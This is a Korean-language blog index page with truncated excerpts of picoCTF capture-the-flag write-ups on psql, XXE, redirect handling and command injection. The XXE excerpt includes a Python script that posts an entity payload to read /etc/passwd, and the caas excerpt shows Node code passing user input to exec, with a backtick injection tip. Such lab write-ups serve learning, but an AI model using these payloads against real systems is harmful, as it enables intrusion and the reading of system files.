본문 바로가기

전체 글237

[picoCTF] SQL Direct 1. 개요 psql 사용하기 문제 2. 분석 psql 다운받고, 엔드포인트 연결합니다. "\dt" - 테이블 목록을 보여줍니다. 2023. 4. 29.
[picoCTF]  SOAP 1. 개요 XXE 문제 2. 분석 Details 버튼을 누를때 마다 XML을 payload에 담아서 보냅니다. flag는 /etc/passwd에 있다고 했기 때문에 XML을 삽입해서 flag 읽어옵니다. import requests payload = '&xxe;' headers = { 'Content-Type': 'window.contentType' } result = requests.post("http://saturn.picoctf.net:49761/data", data=payload, headers=headers) print('result: ', result.text) 2023. 4. 29.
[picoCTF] find me 1. 개요 redirection 문제 2. 분석 로그인할 때 302 리다이렉션이 걸려있습니다. python requests 모듈에서 allow_redirects=False 옵션을 사용하거나, curl을 사용하거나 등등해서 리다이렉션을 방지합니다.(node.js의 axios는 불가능) import base64 import requests import re base_url = "http://saturn.picoctf.net:65030" flag = "" data = { 'username': 'test', 'password': 'test!' } first = requests.post(f"{base_url}/login", data=data, allow_redirects=False) pattern = "to ([.. 2023. 4. 29.
[picoCTF] caas 1. 개요 command injection 2. 분석 주어진 코드를 보면, exec 함수로 차일드 프로세스를 실행시키는데 여기에 시스템 명령어가 삽입되면, 수행 결과를 반환합니다. 다만, exec 함수에 시스템 명령어를 보낼때는 `ls` 와 같이 백틱으로 감싸줘야합니다. const express = require('express'); const app = express(); const { exec } = require('child_process'); app.use(express.static('public')); app.get('/cowsay/:message', (req, res) => { exec(`/usr/games/cowsay ${req.params.message}`, { timeout: 5000 }.. 2023. 4. 28.